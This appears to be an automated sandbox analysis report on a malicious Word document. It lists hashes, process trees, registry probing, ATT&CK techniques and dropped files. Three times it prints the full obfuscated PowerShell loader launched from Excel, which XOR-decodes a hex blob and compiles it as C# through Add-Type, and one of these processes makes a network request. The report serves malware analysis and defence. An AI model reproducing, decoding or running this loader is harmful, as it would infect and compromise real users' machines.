ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
144s
max time network
150s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-02-03_122754.doc
Size

314KB
MD5

cb8555570c01488b495e3a70d2c1c0df
SHA1

5856c81842771c491d404bb6783ead362a4092aa
SHA256

75a5d85b63b3345fab532ced1c803fe707ec7bf1b3e2175dc96a6fd249d4383c
SHA512

e2151006cab3c32929febe99edf095f759d0441d0794a0f74e2ed50ce8974992a8be441ca9bb72a1c0a1b625c26ce478783f076105e83f647c91e715b8472efc

Score

10^/10

Malware Config

Signatures

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exe

pid	process
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
2116	EXCEL.EXE
2116	EXCEL.EXE
2116	EXCEL.EXE
2116	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
3964	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1136	EXCEL.EXE
1272	excelcnv.exe
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.execsc.execsc.execsc.exe

description	pid	process	target process
PID 2116 wrote to memory of 1044	2116	EXCEL.EXE	powershell.exe
PID 2116 wrote to memory of 1044	2116	EXCEL.EXE	powershell.exe
PID 3964 wrote to memory of 3920	3964	EXCEL.EXE	powershell.exe
PID 3964 wrote to memory of 3920	3964	EXCEL.EXE	powershell.exe
PID 1136 wrote to memory of 1276	1136	EXCEL.EXE	powershell.exe
PID 1136 wrote to memory of 1276	1136	EXCEL.EXE	powershell.exe
PID 1276 wrote to memory of 1640	1276	powershell.exe	csc.exe
PID 1276 wrote to memory of 1640	1276	powershell.exe	csc.exe
PID 3920 wrote to memory of 3040	3920	powershell.exe	csc.exe
PID 3920 wrote to memory of 3040	3920	powershell.exe	csc.exe
PID 1044 wrote to memory of 2484	1044	powershell.exe	csc.exe
PID 1044 wrote to memory of 2484	1044	powershell.exe	csc.exe
PID 3040 wrote to memory of 3464	3040	csc.exe	cvtres.exe
PID 1640 wrote to memory of 1004	1640	csc.exe	cvtres.exe
PID 3040 wrote to memory of 3464	3040	csc.exe	cvtres.exe
PID 1640 wrote to memory of 1004	1640	csc.exe	cvtres.exe
PID 2484 wrote to memory of 2164	2484	csc.exe	cvtres.exe
PID 2484 wrote to memory of 2164	2484	csc.exe	cvtres.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3920	powershell.exe
1044	powershell.exe
1276	powershell.exe
1044	powershell.exe
1276	powershell.exe
3920	powershell.exe
1044	powershell.exe
1276	powershell.exe
3920	powershell.exe

Enumerates system info in registry 2 TTPs 15 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEEXCEL.EXEexcelcnv.exeEXCEL.EXEEXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3600 WINWORD.EXE
3600 WINWORD.EXE

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1044	2116	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3920	3964	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1276	1136	powershell.exe	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3920 powershell.exe
Token: SeDebugPrivilege 1044 powershell.exe
Token: SeDebugPrivilege 1276 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 1276 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe

flow	pid	process
33	1276	powershell.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEexcelcnv.exeWINWORD.EXEEXCEL.EXEEXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-03_122754.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3600

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:2116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function z4531 {param($xf87666)$a627e4f='w95a9';$xea7bb='';for ($i=0; $i -lt $xf87666.length;$i+=2){$z98a286=[convert]::ToByte($xf87666.Substring($i,2),16);$xea7bb+=[char]($z98a286 -bxor $a627e4f[($i/2)%$a627e4f.length]);}return $xea7bb;} $tba4b = '024a5c0f5e576a4c124d12540e144a1e5752416a0e4a410454596b400f4d1e54504f70194d501356076a50134f1e5a501202024a5c0f5e576a4c124d12541b2550165e5b0e4a0350561202024a5c0f5e576a4c124d12541b28764c4c460857101966184a035c584f77124d0e6c33074c570d501419560d58044a150a014f0c501a62335559285407564715115552501357125506531b5b7c5b154b0e695a0857030417265c0369470e5a365d51135c044a17486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d47414e135f5602113e5741314d0519425201140d025915044d470857101958570a445f1c5a62335559285407564715115552501357125506531b5b19700f4d0540650e50194d155c1955755a005d3b50571358054017486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d4741434f5c54020c121146154b1e5752415e415a56025a5e026e25551b70581156054d1d4352124b5b0455440b174d19325741134027565c0f4d4a1b63084b034c540d69055641045a031b1c3c19074c570d501419461558035056415c0f4d501357575b5a0e55574050595a4f0a1d28570369411319165a54070b4358193470194d65154b574c00040c4f0e19414c1e5741414f165d030015575640151902505b1519180a07525f160a1c5a6233555928540756471511557250135712550653171355594315577c5b154b0e695a0857030417334d1b745a175c3a5c580e4b0e1b19416a124d79004a037c4713560504530055045c1c3c19044d541550141950194d124b5b414f185051415d4e0f00030b4f117c0f4d274d47415e13585459153e5741314d05194f590f145a024d50194d15155812010450104c494003551e5a15124d164d5c02191e5741414d425b5755115e427c0f4d274d4741544f0c0004194a194f595c165a0004110d0d0052085f1b04570c430d035101460e04520c420c0c43105e025c07111a0100545c4a047c0f4d274d474f63124b5a48421056410e19160b07040d4c447c0f4d274d47415b16580d505b440442055f145a1d0c01420c504d43430c065011550a03540d430f05590f1608015401425b07520d140804545f420904521b5e100e085f5f5b540001465b065c043e5741314d05176f044b18104e0656035615000b455c015a4422705b1569034b15135a4e5f56535a4a1160285703694113104202400857031945565a430b075c094c505349180e5c0d020144115700584f08575215055a0c075a455a1951414309190e4c031945565a430b0748100c5e5a1556575807535c4302482340035c6e3c19105d01590a4f044e51414408195141115f1951414e09485a70194d65154b57555055004e5f082c58054a5d00555978590d561471720d56155859490a5e0278004b0451540d173456451811105d01590a4f15054d55120d0c585f5b0a1c5a5d4e0f00030b4f115b044e57705b1569034b1d0358160104030a596d5a2857030f0149105c094d5109465b1c4d55120d0c585f5b0a1c5a58450b505503576e50037a1b50500f4d575354525f135a065c57124e15365c157a59085c194d1d4802044d47085710195a050d4008005604325743084b1857580457031772044d315659055c05695415515f7c5b175005565b0c5c194d1b3249125a5c0055315659055c05177411491b5056004d1e565b255803581c4a1b2b65595308150f174a43430c065011550c0c545a435d05551b5e025f000a115d5652173356420f5518585127501b5c1d1b0d420a04491b465f01050d460804510a4201045709430c04515c4200055909130c0d500e430f055808150c05515a430e04570d47090d500f430c055809470c0d5101430d05000815095755004609174815185d015608420e1c5a69055656044a046a41004b03705b0756574e03000d4f58505c57124e15314b185a50124a244d54134d3e57530e11185d015608420e1c5a69055656044a0417661558054d1d160f160d0d005c5e0247044d024b5b41094c4445145b1b5056414a035841085a574a411350195e151b0d420a04494a034b5c0f5e575d54555a40104e124d05505b0619000a0d020d400108434e4e0c54581b4c4a411350195e151b01125856545c4a6a411350195e1b2454074d4c5a5f184b1d085703195c5c094c50090558435a024f7512575215514c501e5c0b5e4257184d121942055f145a082256194f50134d596d5a2340035c1d0558435a024f6a025b46154b1e575249505b0b1c4d0841100e1b01125856545c5c041d0251164b1c494e135f5602192919425201140d0259625f501a5310571c15160a4f5a0156015975500f5e03516848020a4b50154c0557151b01125856545c4c4448'; $tba4b2 = z4531($tba4b); Add-Type -TypeDefinition $tba4b2; [k885e]::t5bb4();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:1044

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pov1ndzf\pov1ndzf.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EAC.tmp" "c:\Users\Admin\AppData\Local\Temp\pov1ndzf\CSC7B3114D054C14BA9BC3CDCADAD5A3F1A.TMP"
4⤵
PID:2164

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:3964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function z4531 {param($xf87666)$a627e4f='w95a9';$xea7bb='';for ($i=0; $i -lt $xf87666.length;$i+=2){$z98a286=[convert]::ToByte($xf87666.Substring($i,2),16);$xea7bb+=[char]($z98a286 -bxor $a627e4f[($i/2)%$a627e4f.length]);}return $xea7bb;} $tba4b = '024a5c0f5e576a4c124d12540e144a1e5752416a0e4a410454596b400f4d1e54504f70194d501356076a50134f1e5a501202024a5c0f5e576a4c124d12541b2550165e5b0e4a0350561202024a5c0f5e576a4c124d12541b28764c4c460857101966184a035c584f77124d0e6c33074c570d501419560d58044a150a014f0c501a62335559285407564715115552501357125506531b5b7c5b154b0e695a0857030417265c0369470e5a365d51135c044a17486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d47414e135f5602113e5741314d0519425201140d025915044d470857101958570a445f1c5a62335559285407564715115552501357125506531b5b19700f4d0540650e50194d155c1955755a005d3b50571358054017486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d4741434f5c54020c121146154b1e5752415e415a56025a5e026e25551b70581156054d1d4352124b5b0455440b174d19325741134027565c0f4d4a1b63084b034c540d69055641045a031b1c3c19074c570d501419461558035056415c0f4d501357575b5a0e55574050595a4f0a1d28570369411319165a54070b4358193470194d65154b574c00040c4f0e19414c1e5741414f165d030015575640151902505b1519180a07525f160a1c5a6233555928540756471511557250135712550653171355594315577c5b154b0e695a0857030417334d1b745a175c3a5c580e4b0e1b19416a124d79004a037c4713560504530055045c1c3c19044d541550141950194d124b5b414f185051415d4e0f00030b4f117c0f4d274d47415e13585459153e5741314d05194f590f145a024d50194d15155812010450104c494003551e5a15124d164d5c02191e5741414d425b5755115e427c0f4d274d4741544f0c0004194a194f595c165a0004110d0d0052085f1b04570c430d035101460e04520c420c0c43105e025c07111a0100545c4a047c0f4d274d474f63124b5a48421056410e19160b07040d4c447c0f4d274d47415b16580d505b440442055f145a1d0c01420c504d43430c065011550a03540d430f05590f1608015401425b07520d140804545f420904521b5e100e085f5f5b540001465b065c043e5741314d05176f044b18104e0656035615000b455c015a4422705b1569034b15135a4e5f56535a4a1160285703694113104202400857031945565a430b075c094c505349180e5c0d020144115700584f08575215055a0c075a455a1951414309190e4c031945565a430b0748100c5e5a1556575807535c4302482340035c6e3c19105d01590a4f044e51414408195141115f1951414e09485a70194d65154b57555055004e5f082c58054a5d00555978590d561471720d56155859490a5e0278004b0451540d173456451811105d01590a4f15054d55120d0c585f5b0a1c5a5d4e0f00030b4f115b044e57705b1569034b1d0358160104030a596d5a2857030f0149105c094d5109465b1c4d55120d0c585f5b0a1c5a58450b505503576e50037a1b50500f4d575354525f135a065c57124e15365c157a59085c194d1d4802044d47085710195a050d4008005604325743084b1857580457031772044d315659055c05695415515f7c5b175005565b0c5c194d1b3249125a5c0055315659055c05177411491b5056004d1e565b255803581c4a1b2b65595308150f174a43430c065011550c0c545a435d05551b5e025f000a115d5652173356420f5518585127501b5c1d1b0d420a04491b465f01050d460804510a4201045709430c04515c4200055909130c0d500e430f055808150c05515a430e04570d47090d500f430c055809470c0d5101430d05000815095755004609174815185d015608420e1c5a69055656044a046a41004b03705b0756574e03000d4f58505c57124e15314b185a50124a244d54134d3e57530e11185d015608420e1c5a69055656044a0417661558054d1d160f160d0d005c5e0247044d024b5b41094c4445145b1b5056414a035841085a574a411350195e151b0d420a04494a034b5c0f5e575d54555a40104e124d05505b0619000a0d020d400108434e4e0c54581b4c4a411350195e151b01125856545c4a6a411350195e1b2454074d4c5a5f184b1d085703195c5c094c50090558435a024f7512575215514c501e5c0b5e4257184d121942055f145a082256194f50134d596d5a2340035c1d0558435a024f6a025b46154b1e575249505b0b1c4d0841100e1b01125856545c5c041d0251164b1c494e135f5602192919425201140d0259625f501a5310571c15160a4f5a0156015975500f5e03516848020a4b50154c0557151b01125856545c4c4448'; $tba4b2 = z4531($tba4b); Add-Type -TypeDefinition $tba4b2; [k885e]::t5bb4();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3920

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mkte4n52\mkte4n52.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3040

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\mkte4n52\CSC5D8E90B9F12A45F58C5C52C18DCF6C93.TMP"
4⤵
PID:3464

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
PID:1136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function z4531 {param($xf87666)$a627e4f='w95a9';$xea7bb='';for ($i=0; $i -lt $xf87666.length;$i+=2){$z98a286=[convert]::ToByte($xf87666.Substring($i,2),16);$xea7bb+=[char]($z98a286 -bxor $a627e4f[($i/2)%$a627e4f.length]);}return $xea7bb;} $tba4b = '024a5c0f5e576a4c124d12540e144a1e5752416a0e4a410454596b400f4d1e54504f70194d501356076a50134f1e5a501202024a5c0f5e576a4c124d12541b2550165e5b0e4a0350561202024a5c0f5e576a4c124d12541b28764c4c460857101966184a035c584f77124d0e6c33074c570d501419560d58044a150a014f0c501a62335559285407564715115552501357125506531b5b7c5b154b0e695a0857030417265c0369470e5a365d51135c044a17486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d47414e135f5602113e5741314d0519425201140d025915044d470857101958570a445f1c5a62335559285407564715115552501357125506531b5b19700f4d0540650e50194d155c1955755a005d3b50571358054017486457494003551e5a15124d164d5c0219124141044b19197c0f4d274d4741434f5c54020c121146154b1e5752415e415a56025a5e026e25551b70581156054d1d4352124b5b0455440b174d19325741134027565c0f4d4a1b63084b034c540d69055641045a031b1c3c19074c570d501419461558035056415c0f4d501357575b5a0e55574050595a4f0a1d28570369411319165a54070b4358193470194d65154b574c00040c4f0e19414c1e5741414f165d030015575640151902505b1519180a07525f160a1c5a6233555928540756471511557250135712550653171355594315577c5b154b0e695a0857030417334d1b745a175c3a5c580e4b0e1b19416a124d79004a037c4713560504530055045c1c3c19044d541550141950194d124b5b414f185051415d4e0f00030b4f117c0f4d274d47415e13585459153e5741314d05194f590f145a024d50194d15155812010450104c494003551e5a15124d164d5c02191e5741414d425b5755115e427c0f4d274d4741544f0c0004194a194f595c165a0004110d0d0052085f1b04570c430d035101460e04520c420c0c43105e025c07111a0100545c4a047c0f4d274d474f63124b5a48421056410e19160b07040d4c447c0f4d274d47415b16580d505b440442055f145a1d0c01420c504d43430c065011550a03540d430f05590f1608015401425b07520d140804545f420904521b5e100e085f5f5b540001465b065c043e5741314d05176f044b18104e0656035615000b455c015a4422705b1569034b15135a4e5f56535a4a1160285703694113104202400857031945565a430b075c094c505349180e5c0d020144115700584f08575215055a0c075a455a1951414309190e4c031945565a430b0748100c5e5a1556575807535c4302482340035c6e3c19105d01590a4f044e51414408195141115f1951414e09485a70194d65154b57555055004e5f082c58054a5d00555978590d561471720d56155859490a5e0278004b0451540d173456451811105d01590a4f15054d55120d0c585f5b0a1c5a5d4e0f00030b4f115b044e57705b1569034b1d0358160104030a596d5a2857030f0149105c094d5109465b1c4d55120d0c585f5b0a1c5a58450b505503576e50037a1b50500f4d575354525f135a065c57124e15365c157a59085c194d1d4802044d47085710195a050d4008005604325743084b1857580457031772044d315659055c05695415515f7c5b175005565b0c5c194d1b3249125a5c0055315659055c05177411491b5056004d1e565b255803581c4a1b2b65595308150f174a43430c065011550c0c545a435d05551b5e025f000a115d5652173356420f5518585127501b5c1d1b0d420a04491b465f01050d460804510a4201045709430c04515c4200055909130c0d500e430f055808150c05515a430e04570d47090d500f430c055809470c0d5101430d05000815095755004609174815185d015608420e1c5a69055656044a046a41004b03705b0756574e03000d4f58505c57124e15314b185a50124a244d54134d3e57530e11185d015608420e1c5a69055656044a0417661558054d1d160f160d0d005c5e0247044d024b5b41094c4445145b1b5056414a035841085a574a411350195e151b0d420a04494a034b5c0f5e575d54555a40104e124d05505b0619000a0d020d400108434e4e0c54581b4c4a411350195e151b01125856545c4a6a411350195e1b2454074d4c5a5f184b1d085703195c5c094c50090558435a024f7512575215514c501e5c0b5e4257184d121942055f145a082256194f50134d596d5a2340035c1d0558435a024f6a025b46154b1e575249505b0b1c4d0841100e1b01125856545c5c041d0251164b1c494e135f5602192919425201140d0259625f501a5310571c15160a4f5a0156015975500f5e03516848020a4b50154c0557151b01125856545c4c4448'; $tba4b2 = z4531($tba4b); Add-Type -TypeDefinition $tba4b2; [k885e]::t5bb4();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:1276

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iozbmua2\iozbmua2.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EAD.tmp" "c:\Users\Admin\AppData\Local\Temp\iozbmua2\CSCB48103A2A8524DAC95175A8B1C8B5371.TMP"
4⤵
PID:1004

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
PID:1272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\F20A15DD-0638-4422-8A1E-FBA769C0B839

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C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\.ses

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C:\Users\Admin\AppData\Local\Temp\RES7EAC.tmp

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C:\Users\Admin\AppData\Local\Temp\RES7EAD.tmp

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C:\Users\Admin\AppData\Local\Temp\RES7EAE.tmp

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C:\Users\Admin\AppData\Local\Temp\iozbmua2\iozbmua2.dll

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C:\Users\Admin\AppData\Local\Temp\mkte4n52\mkte4n52.dll

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C:\Users\Admin\AppData\Local\Temp\pov1ndzf\pov1ndzf.dll

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

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\??\c:\Users\Admin\AppData\Local\Temp\iozbmua2\CSCB48103A2A8524DAC95175A8B1C8B5371.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\iozbmua2\iozbmua2.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\iozbmua2\iozbmua2.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\mkte4n52\CSC5D8E90B9F12A45F58C5C52C18DCF6C93.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\mkte4n52\mkte4n52.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\mkte4n52\mkte4n52.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\pov1ndzf\CSC7B3114D054C14BA9BC3CDCADAD5A3F1A.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\pov1ndzf\pov1ndzf.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\pov1ndzf\pov1ndzf.cmdline

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memory/3600-22-0x000001F9623C0000-0x000001F9623C4000-memory.dmp

Filesize
16KB

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memory/3964-9-0x000001CED2D3E000-0x000001CED2D43000-memory.dmp

Filesize
20KB

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memory/3964-8-0x000001CED2D3E000-0x000001CED2D43000-memory.dmp

Filesize
20KB

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memory/3964-7-0x000001CED2D3E000-0x000001CED2D43000-memory.dmp

Filesize
20KB

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